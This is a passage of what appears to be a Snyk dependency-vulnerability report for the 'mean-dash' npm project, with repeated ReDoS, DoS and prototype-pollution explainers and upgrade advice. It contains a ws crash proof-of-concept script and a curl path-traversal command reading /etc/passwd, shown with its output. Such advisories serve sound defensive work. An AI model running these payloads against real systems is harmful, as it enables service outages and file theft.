AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: socket.io-parser
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-adapter@0.3.1 › socket.io-parser@2.2.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-parser@2.2.4Remediation: Upgrade to karma@5.0.8.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › socket.io-parser@2.2.4Remediation: Upgrade to karma@5.0.8.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Denial of Service (DoS) via a large packet because a concatenation approach is used.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade socket.io-parser to version 3.3.2, 3.4.1 or higher.
References
high severity
- Vulnerable module: trim-newlines
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to node-sass@6.0.1.
Overview
trim-newlines is a Trim newlines from the start and/or end of a string
Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: gulp@3.9.1, karma@0.13.5 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › liftoff@2.5.0 › findup-sync@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › liftoff@2.5.0 › findup-sync@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › liftoff@2.5.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › liftoff@2.5.0 › findup-sync@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › liftoff@2.5.0 › findup-sync@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value to version 2.0.1 or higher.
References
high severity
- Vulnerable module: useragent
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › useragent@2.3.0
Overview
useragent allows you to parse user agent string with high accuracy by using hand tuned dedicated regular expressions for browser matching.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when passing long user-agent strings.
This is due to incomplete fix for this vulnerability: https://snyk.io/vuln/SNYK-JS-USERAGENT-11000.
An attempt to fix the vulnerability has been pushed to master.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: webpack-dev-server
- Introduced through: webpack-dev-server@1.16.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5Remediation: Upgrade to webpack-dev-server@3.1.11.
Overview
webpack-dev-server Uses webpack with a development server that provides live reloading. It should be used for development only.
Affected versions of this package are vulnerable to Information Exposure.
The origin of requests is not checked by the WebSocket server, which is used for HMR. A malicious user could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:8080/ connection from any origin.
Remediation
Upgrade webpack-dev-server to version 3.1.11 or higher.
References
high severity
- Vulnerable module: ws
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
Overview
ws is a WebSocket client and server implementation.
Affected versions of this package did not limit the size of an incoming payload before it was processed by default. As a result, a very large payload (over 256MB in size) could lead to a failed allocation and crash the node process - enabling a Denial of Service attack.
While 256MB may seem excessive, note that the attack is likely to be sent from another server, not an end-user computer, using data-center connection speeds. In those speeds, a payload of this size can be transmitted in seconds.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Update to version 1.1.1 or greater, which sets a default maxPayload of 100MB.
If you cannot upgrade, apply a Snyk patch, or provide ws with options setting the maxPayload to an appropriate size that is smaller than 256MB.
References
high severity
- Vulnerable module: ws
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › engine.io@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › ws@0.8.0Remediation: Upgrade to karma@0.13.10.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS)
attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.
PoC:
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ws to version 1.1.5, 3.3.1 or higher.
References
high severity
- Vulnerable module: hawk
- Introduced through: coveralls@2.13.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3Remediation: Upgrade to coveralls@3.0.0.
Overview
hawk is a library for the HTTP Hawk Authentication Scheme.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hawk to version 9.0.1 or higher.
References
high severity
- Vulnerable module: webpack-dev-middleware
- Introduced through: karma-webpack@1.8.1 and webpack-dev-server@1.16.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › webpack-dev-middleware@1.12.2Remediation: Upgrade to karma-webpack@5.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › webpack-dev-middleware@1.12.2Remediation: Upgrade to webpack-dev-server@4.0.0.
Overview
Affected versions of this package are vulnerable to Path Traversal due to insufficient validation of the supplied URL address before returning the local file. This issue allows accessing any file on the developer's machine. The middleware can operate with either the physical filesystem or a virtualized in-memory memfs filesystem. When the writeToDisk configuration option is set to true, the physical filesystem is utilized. The getFilenameFromUrl method parses the URL and constructs the local file path by stripping the public path prefix from the URL and appending the unescaped path suffix to the outputPath. Since the URL is not unescaped and normalized automatically before calling the middleware, it is possible to use %2e and %2f sequences to perform a path traversal attack.
Notes:
This vulnerability is exploitable without any specific configurations, allowing an attacker to access and exfiltrate content from any file on the developer's machine.
If the development server is exposed on a public IP address or
0.0.0.0, an attacker on the local network can access the files without victim interaction.If the server permits access from third-party domains, a malicious link could lead to local file exfiltration when visited by the victim.
PoC
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Remediation
Upgrade webpack-dev-middleware to version 5.3.4, 6.1.2, 7.1.0 or higher.
References
high severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.7.9.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
